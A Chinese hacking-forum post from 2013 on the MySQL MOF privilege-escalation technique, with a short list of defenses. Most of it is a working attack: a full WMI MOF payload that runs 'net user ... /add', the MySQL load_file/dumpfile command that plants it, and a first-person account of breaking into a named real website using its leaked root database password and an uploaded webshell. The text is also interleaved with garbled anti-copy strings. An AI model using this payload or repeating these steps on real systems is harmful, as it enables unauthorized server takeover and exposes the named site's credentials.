找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2344|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法
9 j& D3 V' F  R$ k. o! b1 M
6 `0 w/ f7 o5 R) ^% ]; J" r4 K网上公开的一些利用代码:
5 D% D  M& F( N8 e8 q3 P( N$ w. s% k" m1 k8 s  R  i
#pragma namespace(“\\\\.\\root\\subscription”)
  _3 {% {5 R8 b, e
; ^* T5 ^! {0 O4 Ginstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };/ |) E6 g! P. w+ _. s! F: E
6 @) h$ U: v0 K3 F+ s
% W9 A5 d3 g4 Z% p* q5 y) i- T
# t1 k& I( F* s
9 H) H5 z1 ]4 [  M0 x5 |  C

% F% J$ |' N% [7 w- r7 A连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
' v' S$ z: n2 E* A从上面代码来看得出解决办法:# G2 F" ]1 @1 _. F8 f

3 w* u  Y: I3 G$ u/ t3 c1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
  y9 B4 P$ w& G( J
9 @1 V( `  ]* F: A' k2、禁止使用”WScript.Shel”组件; H) ~& ^2 B% T8 X, P" x: K/ @. j
7 y, v5 t2 ~! R7 z% b
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
8 Z, L3 t# l4 e9 g
1 H% f# l( B6 z* X当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下7 `6 D- r& j& {( @3 W1 m( t

; v( k6 P2 x$ g2 T事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
) [8 }) a9 v. Y: d
8 M* |. ]! N9 f. E但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
( ?+ A. j0 i, g: q; |1 I1 ^+ b
/ j6 q! r  p- b( Z; h' \1 W看懂了后就开始练手吧
2 n7 m4 z4 \3 g: i; @8 l1 f  R1 W) F5 i0 f0 ^
http://www.webbmw.com/config/config_ucenter.php 一句话 a/ j8 p8 }  D0 F4 A

0 u, D% J( w& U2 E: H  e1 ?) w+ Q$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。6 d* S, n4 E" X- K, I* ^

) K5 I& r5 o' o于是直接用菜刀开搞
/ u" b9 j& {. z5 x3 B& V# q1 H9 ~, S6 M& l5 Z
上马先, ~/ \3 [3 z: Z7 t3 u6 c

& L4 m. k# n! P8 \, o既然有了那些账号 之类的 于是我们就执行吧…….6 O, Z( K' }' `1 c2 j9 m+ \9 q
& ^: Z  U3 F/ A. t
小小的说下: ]* t2 h% b9 l  ~* }$ ]1 }* O( g

1 ^9 f% a3 |7 D1 }% P4 R' ]在这里第1次执行未成功        原因未知6 |- T$ q9 b8 G5 T2 h
1 q7 E) W: i/ }( A) a* ?! w
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。1 x% J. y3 q3 R2 y* ]! V

1 A( a* c7 x" _- F5 j3 z0 g#pragma namespace(“\\\\.\\root\\subscription”)0 N6 h3 g. r0 a! G( _9 t

' `, `. L$ _% O" y5 ?0 r4 Dinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
9 b. z; V8 z0 {7 S( Q: M7 H
' b( Q9 X0 g: W" f: G5 j我是将文件放到C:\WINDOWS\temp\1.mof
0 x$ D' P* J$ B1 L4 L6 C8 u7 L5 W, n( x
所以我们就改下执行的代码
4 x( J2 o7 Y5 ]! R6 s  r6 h( w% X3 t3 c- s
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;6 v) Y7 ?6 P, O% J

& `, u4 p4 j! n) `+ I8 r9 ^0 U% }/ c. Y! r- g9 o9 ?$ \
) m8 |  Q; G" [# h" g5 D
但是 你会发现账号还是没有躺在那里。。# E2 Q: I/ r: r! ?/ s: @: y: m
" b! ]" P' @% a/ u; d, d; ?
于是我就感觉蛋疼
+ G# x# \6 |1 P8 j2 s) g  O5 }4 [9 a  t/ s! D- q
就去一个一个去执行 但是执行到第2个 mysql时就成功了………' l' r: G- b" \% b
4 l5 R0 [8 z; j: d
! j: b+ L. O% v* s$ k5 S
" [$ F# M/ W: g* d5 D# x+ c
但是其他库均不成功…
/ H* y! d; s' A+ [9 V
+ g& H8 L6 P0 w/ ~! \我就很费解呀 到底为什么不成功求大牛解答…2 B( f  ~- {, ]8 K  @- K
2 b( {: C3 }1 x) m6 ?

* W; G: N  A. L$ q" ?& |/ L
! ?; P* f( A+ J  [* ?; `, W# X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表